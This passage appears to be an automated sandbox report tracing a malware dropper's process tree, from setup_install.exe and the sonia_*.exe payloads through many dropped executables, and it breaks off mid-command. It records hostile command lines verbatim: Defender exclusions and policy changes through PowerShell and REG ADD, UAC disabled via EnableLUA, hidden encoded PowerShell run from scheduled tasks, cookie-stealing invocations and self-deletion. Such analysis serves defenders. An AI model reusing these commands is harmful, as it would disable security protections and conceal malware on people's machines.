PID 4972 wrote to memory of 3996	4972	sonia_5.exe	elC1IuTQHFlKC2iq2DHRLZvj.exe
PID 4972 wrote to memory of 1820	4972	sonia_5.exe	WerFault.exe

System policy modification 1 TTPs 1 IoCs

evasion

Modify Registry

Processes:

aiM4LTueVrh0X1r0IUx7qoYA.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	aiM4LTueVrh0X1r0IUx7qoYA.exe

C:\Users\Admin\AppData\Local\Temp\f6f649c6c0675c2f7f0df88ed53c56b943abd6922a546f02b1d0ab13aed2123a.exe
"C:\Users\Admin\AppData\Local\Temp\f6f649c6c0675c2f7f0df88ed53c56b943abd6922a546f02b1d0ab13aed2123a.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4712

C:\Users\Admin\AppData\Local\Temp\7zS8627B3CD\setup_install.exe
"C:\Users\Admin\AppData\Local\Temp\7zS8627B3CD\setup_install.exe"
2⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:4756

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c sonia_1.exe
3⤵
- Suspicious use of WriteProcessMemory
PID:2212

C:\Users\Admin\AppData\Local\Temp\7zS8627B3CD\sonia_1.exe
sonia_1.exe
4⤵
- Executes dropped EXE
- Checks computer location settings
- Modifies registry class
PID:4504

C:\Windows\SysWOW64\rUNdlL32.eXe
"C:\Windows\system32\rUNdlL32.eXe" "C:\Users\Admin\AppData\Local\Temp\axhub.dll",getmft
5⤵
- Loads dropped DLL
PID:3696

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c sonia_2.exe
3⤵
- Suspicious use of WriteProcessMemory
PID:2236

C:\Users\Admin\AppData\Local\Temp\7zS8627B3CD\sonia_2.exe
sonia_2.exe
4⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
PID:988

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c sonia_3.exe
3⤵
- Suspicious use of WriteProcessMemory
PID:3344

C:\Users\Admin\AppData\Local\Temp\7zS8627B3CD\sonia_3.exe
sonia_3.exe
4⤵
- Executes dropped EXE
- Modifies system certificate store
PID:864

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 864 -s 1168
5⤵
- Program crash
PID:4636

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c sonia_4.exe
3⤵
- Suspicious use of WriteProcessMemory
PID:2556

C:\Users\Admin\AppData\Local\Temp\7zS8627B3CD\sonia_4.exe
sonia_4.exe
4⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:4388

C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
5⤵
- Executes dropped EXE
PID:2944

C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
5⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:2324

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c sonia_5.exe
3⤵
- Suspicious use of WriteProcessMemory
PID:2928

C:\Users\Admin\AppData\Local\Temp\7zS8627B3CD\sonia_5.exe
sonia_5.exe
4⤵
- Executes dropped EXE
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4972

C:\Users\Admin\Documents\aiM4LTueVrh0X1r0IUx7qoYA.exe
"C:\Users\Admin\Documents\aiM4LTueVrh0X1r0IUx7qoYA.exe"
5⤵
- Executes dropped EXE
- Checks computer location settings
- Windows security modification
- Checks whether UAC is enabled
- Suspicious use of SetThreadContext
- Drops file in Windows directory
- System policy modification
PID:812

C:\Users\Admin\AppData\Local\Temp\d8bccd8d-2281-4b35-96c8-150710c8cdea\30b18b6f-c151-4b10-a27c-2721a6ed0083.exe
"C:\Users\Admin\AppData\Local\Temp\d8bccd8d-2281-4b35-96c8-150710c8cdea\30b18b6f-c151-4b10-a27c-2721a6ed0083.exe" /o /c "Windows-Defender" /r
6⤵
- Executes dropped EXE
PID:1872

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\Documents\aiM4LTueVrh0X1r0IUx7qoYA.exe" -Force
6⤵
PID:1924

C:\Users\Admin\AppData\Local\Temp\d8bccd8d-2281-4b35-96c8-150710c8cdea\AdvancedRun.exe
"C:\Users\Admin\AppData\Local\Temp\d8bccd8d-2281-4b35-96c8-150710c8cdea\AdvancedRun.exe" /EXEFilename "C:\Users\Admin\AppData\Local\Temp\d8bccd8d-2281-4b35-96c8-150710c8cdea\test.bat" /WindowState ""0"" /PriorityClass ""32"" /CommandLine "" /StartDirectory "" /RunAs 8 /Run
6⤵
- Executes dropped EXE
- Checks computer location settings
PID:3928

C:\Users\Admin\AppData\Local\Temp\d8bccd8d-2281-4b35-96c8-150710c8cdea\AdvancedRun.exe
"C:\Users\Admin\AppData\Local\Temp\d8bccd8d-2281-4b35-96c8-150710c8cdea\AdvancedRun.exe" /SpecialRun 4101d8 3928
7⤵
- Executes dropped EXE
PID:4220

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionExtension "exe" -Force
6⤵
PID:408

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\Documents\aiM4LTueVrh0X1r0IUx7qoYA.exe" -Force
6⤵
PID:3152

C:\Users\Admin\Documents\aiM4LTueVrh0X1r0IUx7qoYA.exe
"C:\Users\Admin\Documents\aiM4LTueVrh0X1r0IUx7qoYA.exe"
6⤵
- Executes dropped EXE
PID:4612

C:\Users\Admin\Documents\aiM4LTueVrh0X1r0IUx7qoYA.exe
"C:\Users\Admin\Documents\aiM4LTueVrh0X1r0IUx7qoYA.exe"
6⤵
- Executes dropped EXE
PID:5076

C:\Users\Admin\Documents\2QwfSAcAQDac6xNIKa6DLshA.exe
"C:\Users\Admin\Documents\2QwfSAcAQDac6xNIKa6DLshA.exe"
5⤵
- Executes dropped EXE
PID:4444

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4444 -s 464
6⤵
- Program crash
PID:4012

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4444 -s 484
6⤵
- Program crash
PID:4952

C:\Users\Admin\Documents\nMBTjPTR_VRll1ayTupcaPpK.exe
"C:\Users\Admin\Documents\nMBTjPTR_VRll1ayTupcaPpK.exe"
5⤵
- Executes dropped EXE
- Checks computer location settings
- Suspicious use of AdjustPrivilegeToken
PID:5004

C:\Users\Admin\AppData\Local\Temp\eecd538d-b018-4e18-8b5c-78e87f6263f2.exe
"C:\Users\Admin\AppData\Local\Temp\eecd538d-b018-4e18-8b5c-78e87f6263f2.exe"
6⤵
- Executes dropped EXE
- Checks processor information in registry
PID:2952

C:\Users\Admin\Documents\elC1IuTQHFlKC2iq2DHRLZvj.exe
"C:\Users\Admin\Documents\elC1IuTQHFlKC2iq2DHRLZvj.exe"
5⤵
- Executes dropped EXE
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3996

C:\Users\Admin\Documents\ALIqOa0D62qYicvAGMIekv2M.exe
"C:\Users\Admin\Documents\ALIqOa0D62qYicvAGMIekv2M.exe"
5⤵
- Executes dropped EXE
- Checks computer location settings
PID:2496

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c timeout 45
6⤵
PID:4700

C:\Windows\SysWOW64\timeout.exe
timeout 45
7⤵
- Delays execution with timeout.exe
PID:384

C:\Users\Admin\AppData\Local\Temp\Ztfglzprim.exe
"C:\Users\Admin\AppData\Local\Temp\Ztfglzprim.exe"
6⤵
PID:2412

C:\Users\Admin\Documents\ALIqOa0D62qYicvAGMIekv2M.exe
C:\Users\Admin\Documents\ALIqOa0D62qYicvAGMIekv2M.exe
6⤵
PID:860

C:\Users\Admin\Documents\rcHhik6q5khYHcrBjUbxvR5t.exe
"C:\Users\Admin\Documents\rcHhik6q5khYHcrBjUbxvR5t.exe"
5⤵
- Executes dropped EXE
PID:3680

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 3680 -s 472
6⤵
- Program crash
PID:1000

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 3680 -s 480
6⤵
- Program crash
PID:2204

C:\Users\Admin\Documents\CSTkWFT5Bsp_Tb9jmK9lyEkl.exe
"C:\Users\Admin\Documents\CSTkWFT5Bsp_Tb9jmK9lyEkl.exe"
5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:4664

C:\Users\Admin\Documents\CSTkWFT5Bsp_Tb9jmK9lyEkl.exe
"C:\Users\Admin\Documents\CSTkWFT5Bsp_Tb9jmK9lyEkl.exe"
6⤵
- Executes dropped EXE
PID:2384

C:\Users\Admin\Documents\f9NAAMPQTHtLLjMMAer8AvOK.exe
"C:\Users\Admin\Documents\f9NAAMPQTHtLLjMMAer8AvOK.exe"
5⤵
- Executes dropped EXE
- Checks computer location settings
PID:2392

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2392 -s 1340
6⤵
- Program crash
PID:2624

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2392 -s 1348
6⤵
- Program crash
PID:4960

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2392 -s 1364
6⤵
- Program crash
PID:2624

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2392 -s 1300
6⤵
- Program crash
PID:3944

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c taskkill /im "f9NAAMPQTHtLLjMMAer8AvOK.exe" /f & erase "C:\Users\Admin\Documents\f9NAAMPQTHtLLjMMAer8AvOK.exe" & exit
6⤵
PID:3548

C:\Windows\SysWOW64\taskkill.exe
taskkill /im "f9NAAMPQTHtLLjMMAer8AvOK.exe" /f
7⤵
- Kills process with taskkill
PID:2020

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2392 -s 1196
6⤵
- Program crash
PID:1408

C:\Users\Admin\Documents\KYIbksc8pJEXGvSTG1Jf96tJ.exe
"C:\Users\Admin\Documents\KYIbksc8pJEXGvSTG1Jf96tJ.exe"
5⤵
PID:1820

C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
6⤵
PID:1596

C:\Users\Admin\Documents\b1SrFWogjqUVbNjz_4oEnWKo.exe
"C:\Users\Admin\Documents\b1SrFWogjqUVbNjz_4oEnWKo.exe"
5⤵
- Executes dropped EXE
PID:1356

C:\Users\Admin\Documents\lNSFu3gXzbpDCLISRemZLX9D.exe
"C:\Users\Admin\Documents\lNSFu3gXzbpDCLISRemZLX9D.exe"
5⤵
- Executes dropped EXE
PID:1052

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /C choice /C Y /N /D Y /T 0 &Del C:\Users\Admin\Documents\lNSFu3gXzbpDCLISRemZLX9D.exe
6⤵
PID:5048

C:\Windows\system32\choice.exe
choice /C Y /N /D Y /T 0
7⤵
PID:4184

C:\Users\Admin\Documents\zcUuS4qVa_CE_DkikMob9jvu.exe
"C:\Users\Admin\Documents\zcUuS4qVa_CE_DkikMob9jvu.exe"
5⤵
- Executes dropped EXE
PID:4188

C:\Users\Admin\AppData\Local\Temp\7zS1073.tmp\Install.exe
.\Install.exe
6⤵
- Executes dropped EXE
PID:3496

C:\Users\Admin\AppData\Local\Temp\7zS24D6.tmp\Install.exe
.\Install.exe /S /site_id "525403"
7⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks computer location settings
- Drops file in System32 directory
- Enumerates system info in registry
PID:904

C:\Windows\SysWOW64\forfiles.exe
"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:64&"
8⤵
PID:2304

C:\Windows\SysWOW64\cmd.exe
/C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64&
9⤵
PID:2524

\??\c:\windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32
10⤵
PID:4980

\??\c:\windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64
10⤵
PID:800

C:\Windows\SysWOW64\forfiles.exe
"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:64&"
8⤵
PID:4848

C:\Windows\SysWOW64\cmd.exe
/C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64&
9⤵
PID:3944

\??\c:\windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32
10⤵
PID:4684

\??\c:\windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64
10⤵
PID:4424

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "glwuTpPCW" /SC once /ST 12:53:53 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
8⤵
- Creates scheduled task(s)
PID:4512

C:\Windows\SysWOW64\schtasks.exe
schtasks /run /I /tn "glwuTpPCW"
8⤵
PID:2676

C:\Windows\SysWOW64\schtasks.exe
schtasks /DELETE /F /TN "glwuTpPCW"
8⤵
PID:1996

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "booXbIzkEgfNdKvxAC" /SC once /ST 16:28:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\uOvKJyFirsYYYLVYA\GHoNhggtAPCruoj\lqdGirr.exe\" j6 /site_id 525403 /S" /V1 /F
8⤵
- Drops file in Windows directory
- Creates scheduled task(s)
PID:1300

C:\Users\Admin\Documents\LrHhyMYuc9S23ReWwYCIxhOi.exe
"C:\Users\Admin\Documents\LrHhyMYuc9S23ReWwYCIxhOi.exe"
5⤵
- Executes dropped EXE
- Checks computer location settings
- Loads dropped DLL
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
PID:4092

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c taskkill /im LrHhyMYuc9S23ReWwYCIxhOi.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\Documents\LrHhyMYuc9S23ReWwYCIxhOi.exe" & del C:\ProgramData\*.dll & exit
6⤵
PID:4784

C:\Windows\SysWOW64\taskkill.exe
taskkill /im LrHhyMYuc9S23ReWwYCIxhOi.exe /f
7⤵
- Kills process with taskkill
PID:3720

C:\Windows\SysWOW64\timeout.exe
timeout /t 6
7⤵
- Delays execution with timeout.exe
PID:1840

C:\Users\Admin\Documents\GSx68R4ufXjpRsU4B90lxJTQ.exe
"C:\Users\Admin\Documents\GSx68R4ufXjpRsU4B90lxJTQ.exe"
5⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of SetThreadContext
PID:4004

C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
6⤵
PID:4504

C:\Users\Admin\Documents\ONywx0J2HmWfTh_mOePXwX92.exe
"C:\Users\Admin\Documents\ONywx0J2HmWfTh_mOePXwX92.exe"
5⤵
- Executes dropped EXE
- Checks computer location settings
PID:1952

C:\Windows\SysWOW64\svchost.exe
"C:\Windows\System32\svchost.exe"
6⤵
PID:1288

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c cmd < Detto.xla
6⤵
PID:4420

C:\Windows\SysWOW64\cmd.exe
cmd
7⤵
PID:2204

C:\Windows\SysWOW64\tasklist.exe
tasklist /FI "imagename eq BullGuardCore.exe"
8⤵
- Enumerates processes with tasklist
PID:4628

C:\Windows\SysWOW64\find.exe
find /I /N "bullguardcore.exe"
8⤵
PID:4048

C:\Windows\SysWOW64\tasklist.exe
tasklist /FI "imagename eq PSUAService.exe"
8⤵
- Enumerates processes with tasklist
PID:2212

C:\Windows\SysWOW64\find.exe
find /I /N "psuaservice.exe"
8⤵
PID:3932

C:\Windows\SysWOW64\findstr.exe
findstr /V /R "^wtwRMqjYMlcblhfrOaJNpOohYASICCRoGRaYHSofIqwzkvtDhVASceYjWNSjoDvlzhRaVdvWpzypNPwCvgcGwZMDTye$" Hai.xla
8⤵
PID:4220

C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Sta.exe.pif
Sta.exe.pif V
8⤵
- Executes dropped EXE
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:2316

C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Sta.exe.pif
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Sta.exe.pif
9⤵
PID:2016

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2016 -s 12
10⤵
- Program crash
PID:3124

C:\Users\Admin\Documents\zHZbfY3uQrpM_COn2AISjLP4.exe
"C:\Users\Admin\Documents\zHZbfY3uQrpM_COn2AISjLP4.exe"
5⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks processor information in registry
PID:4208

C:\Users\Admin\Documents\ExHltPJoOBc4jI24i_b46qU6.exe
"C:\Users\Admin\Documents\ExHltPJoOBc4jI24i_b46qU6.exe"
5⤵
- Executes dropped EXE
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4632

C:\Users\Admin\Documents\SCQII_fAtTv1Az4DbZLxSg08.exe
"C:\Users\Admin\Documents\SCQII_fAtTv1Az4DbZLxSg08.exe"
5⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of SetThreadContext
PID:5048

C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
6⤵
PID:3448

C:\Users\Admin\Documents\ShnJVcMNqPZLxT2kP6_04LMh.exe
"C:\Users\Admin\Documents\ShnJVcMNqPZLxT2kP6_04LMh.exe"
5⤵
- Executes dropped EXE
PID:4936

C:\Users\Admin\Documents\tUQiiePKbe6T1EpiAKRVgKRF.exe
"C:\Users\Admin\Documents\tUQiiePKbe6T1EpiAKRVgKRF.exe"
5⤵
- Executes dropped EXE
- Checks computer location settings
- Loads dropped DLL
- Checks processor information in registry
PID:4964

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c taskkill /im tUQiiePKbe6T1EpiAKRVgKRF.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\Documents\tUQiiePKbe6T1EpiAKRVgKRF.exe" & del C:\ProgramData\*.dll & exit
6⤵
PID:3400

C:\Windows\SysWOW64\taskkill.exe
taskkill /im tUQiiePKbe6T1EpiAKRVgKRF.exe /f
7⤵
- Kills process with taskkill
PID:1676

C:\Windows\SysWOW64\timeout.exe
timeout /t 6
7⤵
- Delays execution with timeout.exe
PID:4568

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c sonia_6.exe
3⤵
- Suspicious use of WriteProcessMemory
PID:2952

C:\Users\Admin\AppData\Local\Temp\7zS8627B3CD\sonia_6.exe
sonia_6.exe
4⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:5112

C:\Users\Admin\AppData\Local\Temp\7zS8627B3CD\sonia_6.exe
C:\Users\Admin\AppData\Local\Temp\7zS8627B3CD\sonia_6.exe
5⤵
- Executes dropped EXE
PID:4212

C:\Users\Admin\AppData\Local\Temp\7zS8627B3CD\sonia_6.exe
C:\Users\Admin\AppData\Local\Temp\7zS8627B3CD\sonia_6.exe
5⤵
- Executes dropped EXE
PID:5056

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c sonia_7.exe
3⤵
- Suspicious use of WriteProcessMemory
PID:2936

C:\Users\Admin\AppData\Local\Temp\7zS8627B3CD\sonia_7.exe
sonia_7.exe
4⤵
- Executes dropped EXE
- Checks computer location settings
PID:4836

C:\Users\Admin\AppData\Local\Temp\jhuuee.exe
"C:\Users\Admin\AppData\Local\Temp\jhuuee.exe"
5⤵
- Executes dropped EXE
- Adds Run key to start application
PID:2404

C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
6⤵
- Executes dropped EXE
PID:5096

C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
6⤵
- Executes dropped EXE
PID:2944

C:\Users\Admin\AppData\Local\Temp\liqian.exe
"C:\Users\Admin\AppData\Local\Temp\liqian.exe"
5⤵
- Executes dropped EXE
- Checks computer location settings
- Modifies registry class
PID:2880

C:\Windows\SysWOW64\rUNdlL32.eXe
"C:\Windows\system32\rUNdlL32.eXe" "C:\Users\Admin\AppData\Local\Temp\axhub.dll",axhub
6⤵
- Loads dropped DLL
PID:3576

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 3576 -s 608
7⤵
- Program crash
PID:2484

C:\Users\Admin\AppData\Local\Temp\UGloryStp.exe
"C:\Users\Admin\AppData\Local\Temp\UGloryStp.exe"
5⤵
- Executes dropped EXE
PID:3868

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4756 -s 544
3⤵
- Program crash
PID:3076

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 416 -p 4756 -ip 4756
1⤵
PID:444

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 484 -p 4444 -ip 4444
1⤵
PID:4344

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 520 -p 864 -ip 864
1⤵
PID:2720

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 572 -p 4936 -ip 4936
1⤵
PID:3496

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 544 -p 3696 -ip 3696
1⤵
PID:2776

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 532 -p 4936 -ip 4936
1⤵
PID:1968

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 520 -p 3680 -ip 3680
1⤵
PID:2336

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 540 -p 2392 -ip 2392
1⤵
PID:2316

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 512 -p 2392 -ip 2392
1⤵
PID:964

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 592 -p 2392 -ip 2392
1⤵
PID:3124

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 528 -p 2392 -ip 2392
1⤵
PID:4932

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 600 -p 4444 -ip 4444
1⤵
PID:2384

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 624 -p 3680 -ip 3680
1⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Suspicious use of SetThreadContext
PID:1820

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 600 -p 2392 -ip 2392
1⤵
PID:5088

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 596 -p 2392 -ip 2392
1⤵
PID:4712

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 648 -p 3576 -ip 3576
1⤵
PID:2000

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 536 -p 2392 -ip 2392
1⤵
PID:760

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 672 -p 2392 -ip 2392
1⤵
PID:2120

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 648 -p 2392 -ip 2392
1⤵
PID:3168

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
1⤵
PID:2932

C:\Windows\system32\gpupdate.exe
"C:\Windows\system32\gpupdate.exe" /force
2⤵
PID:432

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc
1⤵
PID:1452

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum
1⤵
PID:4460

C:\Windows\system32\gpscript.exe
gpscript.exe /RefreshSystemParam
1⤵
PID:1616

C:\Windows\system32\backgroundTaskHost.exe
"C:\Windows\system32\backgroundTaskHost.exe" -ServerName:App.AppXmtcan0h2tfbfy7k9kn8hbxb6dmzz1zh0.mca
1⤵
PID:1996

C:\Users\Admin\AppData\Local\Temp\uOvKJyFirsYYYLVYA\GHoNhggtAPCruoj\lqdGirr.exe
C:\Users\Admin\AppData\Local\Temp\uOvKJyFirsYYYLVYA\GHoNhggtAPCruoj\lqdGirr.exe j6 /site_id 525403 /S
1⤵
PID:3728

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 